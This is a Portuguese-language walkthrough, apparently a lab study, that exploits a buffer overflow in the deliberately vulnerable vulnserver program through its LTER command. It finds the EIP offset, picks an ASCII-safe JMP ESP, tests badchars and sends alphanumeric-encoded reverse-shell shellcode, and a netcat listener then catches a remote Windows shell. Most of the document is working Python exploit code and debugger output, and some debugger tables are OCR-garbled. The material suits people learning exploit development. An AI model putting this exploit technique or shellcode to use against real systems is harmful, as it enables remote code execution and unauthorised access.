| 7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0B         |
| v1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4         |
| By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb         |
| 8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1C         |
| f2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5         |
| Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl         |
| 9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2C         |
| p3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6         |
| Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw         |
| 0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5 <u>Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3C</u> |
|   |

Vamos monitorar o envio com o Immunity.

| Reg  | isters (F) | PU>  | <                    |
|------|------------|--|----------------------|
| EAX  | 00E7F1E8   | ASCII "LTER  | ./Aa0Aa1Aa2Aa3Aa4Aa5 |
| ECX  | 006C5504   |  |                      |
| EDX  | 00000000   |  |                      |
| EBX  | 00000104   |  |                      |
| ESP  | 00E7F9C8   | ASCII "9CpOC   | p1Cp2Cp3Cp4Cp5Cp6Cp7 |
| EBP  | 43376F43   |  |                      |
| ES I | 00401848   | vulnserv.004   | 01848                |
| EDI  | 00401848   | vulnserv.004   | 01848                |
| EIP  | 6F43386F   |  |                      |
| CØ   | ES 002B    | 32bit Ø(FFFF   | FFFF)                |
| P 1  | CS 0023    | 32bit Ø(FFFF   | FFFF)                |
| A Ø  | SS 002B    | 32bit Ø(FFFF   | FFFF)                |
| Z 1  | DS 002B    | 32bit Ø(FFFF   | FFFF)                |
| S Ø  | FS 0053    | 32bit 35D000   | (FFF)                |
| ΤØ   | GS 002B    | 32bit Ø(FFFF   | FFFF)                |
| DØ   |            |  |                      |
| 0 0  | LastErr    | ERROR_SUCCES   | S (0000000)          |
| EFL  | 00010246   | <no,nb,e,be,< td=""><td>NS, PE, GE, LE&gt;</td></no,nb,e,be,<> | NS, PE, GE, LE>      |
| STØ  | emptu a    |  |                      |

Encontramos o offset 6f43386f, consultando no msf-patter\_offset:

\$ msf-pattern\_offset -I 3000 -q 6f43386f [\*] Exact match at offset 2005

Para atingir o EIP, precisamos de 2005 bytes, vamos atualizar nosso script e monitorar o comportamento.

xpllter.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payoad
offset = 3000
# payload
payload = b"LTER /."
payload += b"A" * 2005
payload += b"B" * 4
payload += b"C" * (offset - 2005 - 4)
# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
```

| Reg | isters (F) | 202   | <                                       |
|-----|------------|---|---|
| EAX | 00E2F1E8   | ASCII "LTER /.AAAAAAAA  | <u>AAAAAAAAAA</u>                       |
| ECX | 006E5504   |   |   |
| EDX | 0000000A   |   |   |
| EBX | 00000104   |   |   |
| ESP | 00E2F9C8   | ASCII "CCCCCCCCCCCCCCC  | 000000000000000000000000000000000000000 |
| EBP | 41414141   |   |   |
| ESI | 00401848   | vulnserv.00401848   |   |
| EDI | 00401848   | vulnserv.00401848   |   |
| EIP | 42424242   |   |   |
| СØ  | ES 002B    | 32bit Ø(FFFFFFFF)   |   |
| P 1 | CS 0023    | 32bit Ø(FFFFFFFF)   |   |
| A Ø | SS 002B    | 32bit Ø(FFFFFFFF)   |   |
| Z 1 | DS 002B    | 32bit Ø(FFFFFFFF)   |   |
| S Ø | FS 0053    | 32bit 358000(FFF)   |   |
| ΤØ  | GS 002B    | 32bit Ø(FFFFFFFF)   |   |
| DØ  |            |   |   |
| 00  | LastErr    | ERROR_SUCCESS <0000000  | 0>                                      |
| EFL | 00010246   | <no,nb,e,be,ns,pe,ge,l< td=""><td>E&gt;</td></no,nb,e,be,ns,pe,ge,l<> | E>                                      |
| STØ | emptu a    |   |   |

Conseguimos sobrescrever o EIP com nossos "B", vamos encontrar um JMP ESP com o Immunity para direcionarmos a execução para o nosso buffer.

| 0BHDF00D<br>0BADF00D<br>625011AF<br>625011B<br>625011D3<br>625011D3<br>625011D3<br>625011D3<br>625011D3<br>625011D3<br>62501203<br>62501203<br>62501205<br>0BADF00D<br>0BADF00D<br>0BADF00D | <ul> <li>Number of pointers of type 'jmp esp'</li> <li>[+] Results:</li> <li>0x625011af: jmp esp   (PAGE_EXECUTE_REI<br/>0x625011bb: jmp esp   (PAGE_EXECUTE_REI<br/>0x625011d5: jmp esp   (PAGE_EXECUTE_REI<br/>0x625011df: jmp esp   (PAGE_EXECUTE_REI<br/>0x625011df: jmp esp   (PAGE_EXECUTE_REI<br/>0x625011ff: jmp esp   (PAGE_EXECUTE_REI<br/>0x625011f7: jmp esp   (PAGE_EXECUTE_REI<br/>0x625011203: jmp esp   ascii (PAGE_EXECUTE_REI<br/>0x62501203: jmp esp   ascii (PAGE_EXECUTE_REI<br/>0x62501205: jmp esp</li></ul> |  |  |  |  |  |  |
|---|---|--|--|--|--|--|--|
| !mona jmp -r esp  |   |  |  |  |  |  |  |

Encontramos nossos 9 endereços, no meu caso irei usar o 625011d3, lembrando que deve estar em little indian, ficando \xd3\x11\x50\x62.

Vamos atualizar o script e monitorar com o Immunity:

xpllter.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payoad
offset = 3000
# payload
payload = b"LTER /."
payload += b"A" * 2005
payload += b"\xd3\x11\x50\x62"
payload += b"C" * (offset - 2005 - 4)
# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload ... ")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
```

| Registers (FI | ۲ (US                              |
|---------------|------------------------------------|
| EAX 00E571E8  | ASCII "4TER /.AAAAAAAAAAAAAAAAA    |
| ECX 006D5504  |                                    |
| EDX 000000A   |                                    |
| EBX 00000104  |                                    |
| ESP ØØE8F9BC  |                                    |
| EBP 41414141  |                                    |
| ESI 00401848  | vulnserv.00401848                  |
| EDI 00401848  | vulnserv.00401848                  |
| EIP 62501109  | essfunc.62501109                   |
| C Ø ES ØØ2B   | 32bit Ø(FFFFFFFF)                  |
| P 1 CS 0023   | 32bit Ø(FFFFFFFF)                  |
| A Ø SS ØØ2B   | 32bit Ø(FFFFFFFF)                  |
| Z Ø DS ØØ2B   | 32bit Ø(FFFFFFFF)                  |
| S Ø FS 0053   | 32bit 23F000(FFF)                  |
| T Ø GS ØØ2B   | 32bit Ø(FFFFFFFF)                  |
| D Ø           |                                    |
| 00 LastErr    | ERROR_SUCCESS (00000000)           |
| EFL 00010206  | <pre>(NO,NB,NE,A,NS,PE,GE,G)</pre> |
| STØ emptu a   |                                    |

Desta vez, algo deu errado.

Podemos observar duas coisas desta imagem:

- 1 O ESP não foi sbrescrito;
- 2 O programa alterou nosso endereço de retorno de 625011d3 para 62501109.

Isto pode nos indicar um problema de badchars.

### PROCURANDO BADCHARS

|   | Reg  | isters (Fl  | 202   |   |  |              | <     | <     | <          |
|---|--|---|---|---|--|--------------|-------|-------|------------|
|   | EAX<br>ECX<br>EDX<br>EBX<br>ESP<br>ESP<br>ESI<br>FDI | 7EFEFEFE<br>0067575C<br>43434343<br>00000104<br>00BDF1D0<br>00BDF9C0<br>00401848<br>00BE60000 | ASCII<br>ASCII<br>vulnse                                    | "CCCCCCC<br>"AAAAAAA<br>2040. vra   | CCCCCCCC<br>AAAAAAAA<br>1848                       | CCCCCCC      | CCCCC | CCCCC | CCI<br>AAI |
|   | EIP<br>C 0<br>P 1<br>A 0<br>Z 1<br>S 0<br>T 0        | 76466819<br>ES 002B<br>CS 0023<br>SS 002B<br>DS 002B<br>FS 0053<br>GS 002B                    | msvcr<br>32bit<br>32bit<br>32bit<br>32bit<br>32bit<br>32bit | t.7646681<br>Ø(FFFFFI<br>Ø(FFFFFI<br>Ø(FFFFFI<br>Ø(FFFFFI<br>256000(1<br>Ø(FFFFFI | 19<br>FFF><br>FFF><br>FFF><br>FFF><br>FFF><br>FFF> |              |       |       |            |
| , | 0 0<br>EFL<br>ST0<br>ST1<br>ST2<br>ST3<br>ST4        | LastErr<br>00010246<br>empty g<br>empty g<br>empty g<br>empty g<br>empty g                    | ERROR   | _SUCCESS<br>B,E,BE,NS   | <000000<br>S,PE,GE,                                | 100><br>.LE> |       |       |            |

Se observarmos esta imagem, podemos ver que o vulnerver trabalha com strings encodadas em ANSI. Estes caracteres tem o tamanho de 1 byte e vão de 0x00 a 0xff, ou seja, 256 possibilidades.

Precisamos encontrar quais destes são aceitos pelo vulnserver. Vamos criar uma string de badchars e enviar em nosso script.

\$ badchars

xpllter.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payoad
offset = 3000
badchars
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\
x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2
b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x
41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56
\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6
c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x
82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97
\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xa
d\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\x
c3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\x
d9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee
xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
# payload
payload = b"LTER /."
payload += badchars
payload += b"B" * 4
#payload += b"A" * (2005 - len(badchars))
payload += b"\xd3\x11\x50\x62"
payload += b"C" * (offset - 2005 - 4)
# criando conexao
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload ... ")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
```

Monitorando com Immunity:

| Address   | Hex | x dı | ւտք |    |    |    |    |          |            |            |            |            |            |            |          |    | ASCII   |
|-----------|-----|------|-----|----|----|----|----|----------|------------|------------|------------|------------|------------|------------|----------|----|---|
| 00C5F1D0  | 48  | 18   | 40  | 00 | 26 | 18 | 40 | 00       | <b>E8</b>  | <b>F1</b>  | C5         | 00         | 40         | 49         | A5       | 00 | H10.&10.&±+.0Iñ                               |
| 00C5F1E0  | 00  | 00   | 00  | 00 | 00 | 00 | 00 | 00       | <b>4</b> C | 54         | 45         | 52         | 20         | 2F         | 2E       | 01 | LTER /.                                       |
| 00C5F1F0  | 02  | 03   | 04  | 05 | Ø6 | 07 | 08 | 09       | ØA         | ØB         | ØĊ         | ØD         | ØE         | ØF         | 10       | 11 | ₿₩♦₫₫∙₫6,₽₩₽                                  |
| 00C5F200  | 12  | 13   | 14  | 15 | 16 | 17 | 18 | 19       | 10         | <b>1</b> B | 10         | 1D         | 1E         | 1F         | 20       | 21 | \$!!¶ゑ₌ᡱ↑↓→←∟⇔▲♥                              |
| 00C5F210  | 22  | 23   | 24  | 25 | 26 | 22 | 28 | 29       | 20         | 28         | 2C         | 2D         | 2E         | 2F         | 30       | 31 | "#\$%&' ()*+,/U                               |
| 00C5F220  | 32  | 33   | 34  | 35 | 36 | 37 | 38 | 39       | 38         | 38         | 30         | 3D         | ЗE         | ЗF         | 40       | 41 | 23456789:;<=>?0                               |
| 00C5F230  | 42  | 43   | 44  | 45 | 46 | 47 | 48 | 49       | 48         | <u>4B</u>  | 4C         | 4D         | <u>4</u> E | 4F         | 20       | 51 | BCDEFGHIJKLMNOF                               |
| 00C5F240  | 52  | 53   | 54  | 25 | 56 | 52 | 28 | 22       | 58         | 28         | 50         | 20         | 5 E        | 5F         | 60       | 61 | RSTUUWXYZL\1~_                                |
| 00C5F250  | 62  | 63   | 64  | 65 | 66 | 67 | 68 | 62       | 68         | <u>6 B</u> | БC         | БĎ         | бĘ         | <u>6</u> F | 20       | 21 | bcdefghijklmnop                               |
| 00C5F260  | 72  | 73   | 24  | 25 | 26 | 27 | 28 | 29       | 28         | 7B         | 20         | 20         | ZE         | 2F         | 61       | ØΖ | rstuvwxyz( i ) al                             |
| 00C5F270  | 63  | 04   | 95  | 66 | 97 | 68 | 92 | ЮН       | ត្តដ       | QC.        | ดที        | 0F         | 0F         | 10         | 11       | 12 | ₩ <b>₩</b> ₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩₩ |
| 00C5F280  | 13  | 14   | 15  | 16 | 17 | 18 | 12 | 1H       | 18         | 10         | 11         | 1          | 1F         | 20         | 21       | 22 |   |
| 00051290  | 23  | 24   | 25  | 26 | 27 | 28 | 23 | ZH       | ZB         | ZG         | ZD         | ZE         | ZF         | 30         | 31       | 32 | #\$%&^()*+,/01                                |
| 00C5FZH0  | 33  | 34   | 35  | 36 | 37 | 38 | 37 | JH       | 3B         | 36         | 30         | JE         | JF         | 40         | 41       | 42 |   |
| 00C5FZB0  | 43  | 44   | 45  | 46 | 47 | 48 | 47 | 4H       | 48         | 46         | 40         | 48         | 4F         | 50         | 51       | 52 | CDEFGHIJKLMNUPG                               |
| 00C5FZC0  | 53  | 54   | 22  | 50 | 27 | 58 | 57 | SH       | 55         | 50         | ວມ         | 5 E<br>6 E | 51         | 50         | D1<br>D1 | 52 |   |
| 00C5FZD0  | 03  | 54   | 55  |    | 57 | 00 | 22 | BH       |            |            | 25         | DE<br>DE   | or<br>9P   | 60         |          | 44 | caergnijkimnopg                               |
| 00C5FZE0  | 11  | 44   | 41  | 41 | A4 | 10 | A1 | 7H<br>44 | 7 B<br>44  | 44         | 7 U<br>A 1 | 7E<br>41   | 7 F<br>4 4 | 41         | 41       | 41 | Stu0WX92(1) 46H                               |
| MACE P200 | 41  | 41   | 41  | 41 | 41 | 41 | 41 | 41       | 41         | 41         | 41         | 41         | 41         | 41         | 41       | 41 |   |
| 00057300  | 41  | 41   | 41  | 41 | 41 | 41 | 41 | 41       | 41         | 41         | 41         | 41         | 41         | 41         | 41       | 41 |   |
| 00051310  | 11  | 11   | 11  | 꿃  | 꿃  | 11 | 31 | 31       | 41         | 11         | 71         | 71         | 11         |            | 꿃        | 꿃  |   |
| · ·       | _   | _    |     |    |    |    |    |          |            |            |            |            |            |            |          | _  |   |

Ao seguirmos o dump do ESP, podemos ver que nossos caracteres seguiram normalmente do 0x01 até 0x7f, a partir daí, o vulnserver começou a substituir nossos caracteres por outros, o 0x80 por 0x01, o 0x81 por 0x02 e assim por diante.

Isso explica por que o 0xd3 do nosso JMP ESP foi substituído por 0x09. O que significa que temos uma quantidade limitadíssima de 127 caracteres para fazer todo nosso exploit.

Precisamos continuar, nosso JMP ESP não funcionou, mas podemos adicionar o comando "ascii" à nossa pesquisa no Immunity, para tentar encontrar um JMP ESP que contenha apensas caracteres ANSI.

| ! | mona jm              | p -r esp -cp ascii   |
|---|----------------------|--|
|   |                      |  |
|   | ØBADFØØD             | [+] This mona.py action took 0:00:02.594000                        |
|   | ØBHDFØØD             | Found a total of 2 pointers  |
|   | 02001200             | exected a tell estimate a sett (FHGE_EAECOTE_AEHD) Lessfulle. dttj |
|   | 62001200<br>60E0100E | Guerrent and a serie (PORE EVECUTE PEOD) Forsefund dill            |
|   | 62501203             | 0x62501203 : imp esp ! ascii (PBGE EXECUTE READ) [essfunc.dll]     |
|   | ØBADFØØD             | [+] Results :  |
|   |                      |  |

Temos dois endereços, que por sinal estão na essfunc.dll que acompanha o vulnserver. No meu caso, vou utilizar o 0x62501203.

Atualizando script.

xpllter.py:

| #!/usr/bin/python3   |
|--|
| import socket  |
| # variaveis de conexao<br>ip = "192.168.1.30"<br>porta = 9999  |
| # variaveis de payoad<br>offset = 3000   |
| # payload<br>payload = b"LTER /."<br>payload += b"A" * 2005<br>payload += b"\x03\x12\x50\x62"<br>payload += b"C" * (offset - 2005 - 4) |
| # criando conexao<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((ip,porta))<br>s.recv(1024)                    |
| print("Enviando payload")  |
| s.send(payload + b"\r\n")<br>s.close()   |
| print("Payload enviado.")  |

Vamos inserir um breakpoint em nosso endereço de retorno e monitorar com Immunity.

| 00D9F9C8        | 43 | INC INC | EBX | ~   | Debu | ug registe | ers 🤇 🤄   |
|-----------------|----|---------|-----|-----|------|------------|---|
| 00D9F9C9        | 43 | INC     | EBX | 100 | EAX  | ØØD9F1E8   | ASCLL "LTER / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
| 00D9F9CA        | 43 | INC     | EBX |     | ECX  | ØØR955Ø4   |   |
| 00D9F9CB        | 43 | INC     | EBX |     | EDX  | ANANANA    |   |
| ØØD9F9CC        | 43 | INC     | EBX |     | EBX  | 00000104   |   |
| 00D9F9CD        | 43 | INC     | EBX |     | ESP  | MAD9F9C8   | ASCLL "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC         |
| 00D9F9CE        | 43 | INC     | EBX |     | EBP  | 41414141   |   |
| 00D9F9CF        | 43 | INC     | EBX |     | EST  | 00401848   | uulnseru.00401848                                 |
| 00D9F9D0        | 43 | INC     | EBX |     | EDI  | 00401848   | vulnserv.00401848                                 |
| 00D9F9D1        | 43 | INC     | EBX |     | TTD  | 000000000  |   |
| 00D9F9D2        | 43 | INC     | EBX |     | EIP  | NNDA HACS  |   |
| 00D9F9D3        | 43 | INC     | EBX |     | CØ   | ES ØØ2B    | 32bit Ø(FFFFFFFF)                                 |
| 00D9F9D4        | 43 | INC     | EBX |     | P 1  | CS 0023    | 32bit Ø(FFFFFFFF)                                 |
| 00D9F9D5        | 43 | INC     | EBX |     | ΑØ   | SS 002B    | 32bit Ø(FFFFFFFF)                                 |
| 00D9F9D6        | 43 | INC     | EBX |     | Z 1  | DS 002B    | 32bit Ø(FFFFFFFF)                                 |
| 00D9F9D7        | 43 | INC     | EBX |     | S Ø  | FS 0053    | 32bit 2C6000(FFF)                                 |
| 00D9F9D8        | 43 | INC     | EBX |     | ΤØ   | GS 002B    | 32bit Ø(FFFFFFFF)                                 |
| 00D9F9D9        | 43 | INC     | EBX |     | DØ   |            |   |
| <b>NNDALADU</b> | 43 | INC     | EBX |     | 00   | LastErr    | ERROR_SUCCESS (00000000)                          |
| NNDALADR        | 43 | INC     | EBX |     | TTTT | 0000004/   |   |
| NNDALADC        | 43 | INC     | EBX |     | EFL  | 00000246   | (NU,NB,E,BE,NS,PE,GE,LE)                          |
| UUD9F9DD        | 43 | INC     | EBX |     | DRØ  | 00000000   |   |
| UUD9F9DE        | 43 | INC     | EBX |     | DR1  | 00000000   |   |
| UUD9F9DF        | 43 | INC     | EBX | 222 | DR2  | 00000000   |   |
| NNDA ŁA EN      | 43 | INC     | EBX | ~   | DR3  | 00000000   |   |

Caímos exatamente em cima do nosso buffer de "C".

Podemos criar nosso shellcode, porém, temos uma limitação de caracteres muito grande.

Por sorte, a suite Metasploit trabalha com vários tipos de encoders, um deles é o x86/alpha\_mixed que faz a transcrição do nosso shellcode para bytes alfa numéricos, mais sobre o encode aqui.

Vamos gerar nosso shellcode:

Nosso shellcode ficou consideravelmente maior devido ao encode, mas temos espaço de sobra.

Note também que utilizei a opção "bufferregister=esp", isso por que sem esta opção, o shellcode se inicia com os opcodes "\x89\xe2\xdb\xdb\xdb\xd9\x72". Estes opcodes são necessários para encontrar a posição absoluta do shellcode na memória.

Como nós já sabemos que nosso shellcode estará em ESP, podemos apontá-lo na criação do shellcode, evitando os badchars.

Vamos atualizar o exploit.

xpllter.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payoad
offset = 3000
shellcode = b""
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
...
shellcode += b"\x30\x53\x63\x79\x6f\x4b\x65\x41\x41"
# payload
payload = b"LTER /."
payload += b"A" * 2005
payload += b"\x03\x12\x50\x62"
payload += shellcode
payload += b"C" * (offset - 2005 - 4 - len(shellcode))
# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
```

Agora vamos setar o netcat para ouvir na porta 8443 e iniciar o vulnserver fora do Immunity.

```
(hastur@hastur)-[~/.../estudos/binarios/windows/VulnServer]
s nc -vlnp 8443
listening on [any] 8443 ...
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.32] 49908
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.
C:\Users\suite\Desktop>cd \
cd \
C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 2247-E2A2
 Directory of C:\
08/11/2021 04:31 AM
                        <DIR>
                                       nasm
                                       PerfLogs
12/07/2019 02:14 AM
                       <DIR>
08/11/2021 04:29 AM
                       <DIR>
                                       Program Files
                       <DIR>
08/11/2021 04:30 AM
                                       Program Files (x86)
                                       Python27
08/11/2021 04:30 AM
                       <DIR>
08/11/2021 04:27 AM
                       <DIR>
                                      Users
                                      Windows
08/11/2021 04:26 AM
                       <DIR>
               0 File(s)
                                      0 bytes
               7 Dir(s) 31,927,910,400 bytes free
C:\>whoami
whoami
desktop-50ci2k5\suite
C:\>
```

E conseguimos nosso shell.

Neste comando, tivemos dois grandes problemas: o tamanho do buffer em que caímos, nos obrigando a dar um salto na memória, e uma quantidade limitadíssima de caracterese úteis, nos obrigando a encoder nosso shellcode.

# CONCLUSÃO

Neste estudo, pudemos avaliar o programa vulnserver desde seu código fonte, porém em situações reais dificilmente teremos chance de analisar o codigo fonte de um programa.

Porém, com as técnicas apresentadas neste artigo, é possível fazer o debbug de um programa e encontrar suas vulnerabilidades. Assim como criar estratégias para explorálas.

Além das formas apresentadas neste estudo, existem várias outras técnicas mais complexas para explorar as mesmas vulnerabilidades, podemos futuramente adicionar novas técnicas a este estudo para torná-lo mais competo.

Em todos os exploits utilizados neste estudo, utilizamos um reverse shell, mas tendo em vista que conseguimos controlar o programa a nível de atingir o SO, podemos enviar qualquer outro exploit cujo SO possa ser disponível, tais como bind shell, execussão de comandos, DoS, entre outros.

No mais, muito obrigado por acompanhar esta PoC, espero que tenha sido útil.